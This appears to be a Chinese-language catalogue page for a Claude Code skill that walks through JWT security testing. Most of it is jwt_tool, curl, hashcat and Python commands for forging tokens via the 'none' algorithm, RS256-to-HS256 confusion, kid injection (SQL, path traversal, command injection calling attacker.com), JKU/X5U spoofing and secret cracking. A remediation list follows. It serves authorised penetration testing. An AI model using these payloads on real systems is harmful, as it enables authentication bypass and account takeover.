关于 testing-for-json-web-token-vulnerabilities
用于评估 JWT 身份验证与授权实现的安全测试技能,涵盖常见令牌弱点。它为获授权的应用和 API 测试提供检查流程。
主要功能
- 01检查 JWT 结构与声明
- 02测试无签名令牌接受情况
- 03评估算法混淆
- 04检查 kid 与密钥 URL 注入
- 05破解弱签名密钥
适用场景
- 01评估基于 JWT 的应用登录
- 02测试 API 授权控制
- 03审计 OAuth 或 OpenID Connect JWT
- 04检查 SSO 令牌安全
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-for-json-web-token-vulnerabilities安装后在 Claude Code 中输入/testing-for-json-web-token-vulnerabilities确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
JWT 漏洞测试
适用场景
- 测试使用 JWT 进行身份验证和会话管理的应用程序时
- 在使用 JWT 进行授权的 API 安全评估期间
- 评估使用 JWT 的 OAuth 2.0 或 OpenID Connect 实现时
- 对单点登录(SSO)系统进行渗透测试时
- 审计 JWT 库配置中的已知漏洞时
前提条件
- jwt_tool(Python JWT 利用工具包)
- 安装了 JWT Editor 扩展的 Burp Suite
- 用于解码和检查 JWT 结构的 jwt.io
- 了解 JWT 结构(header.payload.signature)和算法(HS256、RS256)
- 用于暴力破解弱 JWT 密钥的 hashcat 或 john
- 用于编写自定义 JWT 伪造脚本的 Python PyJWT 库
- 可访问使用基于 JWT 的身份验证的应用程序
法律声明: 此技能仅用于经过授权的安全测试和教育目的。未经授权对不属于你或未书面授权你进行测试的系统使用此技能属于违法行为,且可能违反计算机欺诈相关法律。
工作流
步骤 1 — 解码并分析 JWT 结构
# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>
# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d
# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)
# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers
步骤 2 — 测试“None”算法绕过
# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a
# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)
# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"
# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin
# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
步骤 3 — 测试算法混淆(RS256 转 HS256)
# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret
# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json
# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
openssl x509 -pubkey -noout > public_key.pem
# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
步骤 4 — 测试 Key ID(kid)参数注入
# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
-S hs256 -p "secret-key"
# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
-S hs256 -p ""
# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""
# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"
# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
步骤 5 — 测试 JKU/X5U 标头注入
# JKU (JSON Web Key Set URL) injection
# Point jku to attacker-controlled JWKS
# Step 1: Generate key pair
python3 jwt_tool.py <JWT_TOKEN> -X s
# Step 2: Host JWKS on attacker server
# jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json
# Step 3: Modify JWT header to point to attacker JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"
# X5U (X.509 certificate URL) injection
# Similar to JKU but using X.509 certificate chain
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"
# Embedded JWK attack (inject key in JWT header itself)
python3 jwt_tool.py <JWT_TOKEN> -X i
步骤 6 — 暴力破解弱 JWT 密钥
# Brute-force HMAC secret with hashcat
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt
# Using jwt_tool wordlist attack
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# Using john the ripper
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# Common weak secrets to try:
# secret, password, 123456, admin, test, key, jwt_secret
# Also try: application name, company name, domain name
# Once secret is found, forge arbitrary tokens
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \
-I -pc role -pv admin -pc sub -pv "[email protected]"
核心概念
| 概念 | 描述 |
|---|---|
| 算法混淆 | 使用公钥作为密钥,将非对称算法(RS256)切换为对称算法(HS256) |
| None 算法 | 将 alg 设为“none”,创建配置错误的服务会接受的未签名令牌 |
| Kid 注入 | 利用 Key ID 标头参数进行 SQLi、路径遍历或 SSRF 攻击 |
| JKU/X5U 注入 | 将密钥源 URL 指向攻击者控制的服务,以替换密钥 |
| 弱密钥 | 可通过字典攻击进行暴力破解的 HMAC 密钥 |
| 声明篡改 | 绕过签名验证后,修改载荷声明(role、sub、admin) |
| 令牌重放 | 在预期会话过期后重复使用有效 JWT |
工具与系统
| 工具 | 用途 |
|---|---|
| jwt_tool | 全面的 JWT 测试和利用工具包 |
| JWT Editor(Burp) | 用于 JWT 操作和攻击自动化的 Burp Suite 扩展 |
| hashcat | 使用 GPU 加速暴力破解 JWT 密钥(模式 16500) |
| john the ripper | 基于 CPU 的 JWT 密钥破解工具 |
| jwt.io | 用于检查的在线 JWT 解码器和调试器 |
| PyJWT | 用于以编程方式创建和验证 JWT 的 Python 库 |
常见场景
- None 算法绕过 — 将 JWT 算法更改为“none”,移除签名,并在接受未签名 JWT 的服务上伪造管理员令牌
- 算法混淆 RCE — 使用泄露的公钥将 RS256 切换为 HS256,伪造任意令牌以获得管理员访问权限
- Kid SQL 注入 — 在 kid 参数中注入 SQL 载荷,从数据库中提取签名密钥
- 弱密钥破解 — 使用 hashcat 暴力破解 HMAC-SHA256 密钥,为任意用户伪造 JWT
- JKU 服务欺骗 — 将 JKU 标头指向攻击者控制的 JWKS 端点,使用攻击者的私钥对令牌签名
输出格式
## JWT Security Assessment Report
- **Target**: http://target.com
- **JWT Algorithm**: RS256 (claimed)
- **JWKS Endpoint**: http://target.com/.well-known/jwks.json
### Findings
| # | Vulnerability | Technique | Impact | Severity |
|---|--------------|-----------|--------|----------|
| 1 | None algorithm accepted | alg: "none" | Auth bypass | Critical |
| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |
| 3 | Weak HMAC secret | Brute-force: "secret123" | Full token forgery | Critical |
| 4 | Kid path traversal | kid: "../../dev/null" | Sign with empty key | High |
### Remediation
- Enforce algorithm whitelist in JWT verification (reject "none")
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement strong, random secrets for HMAC algorithms (256+ bits)
- Validate kid parameter against a strict allowlist
- Ignore jku/x5u headers or validate against known endpoints
- Set appropriate token expiration (exp) and implement token revocation
评论
支持 Markdown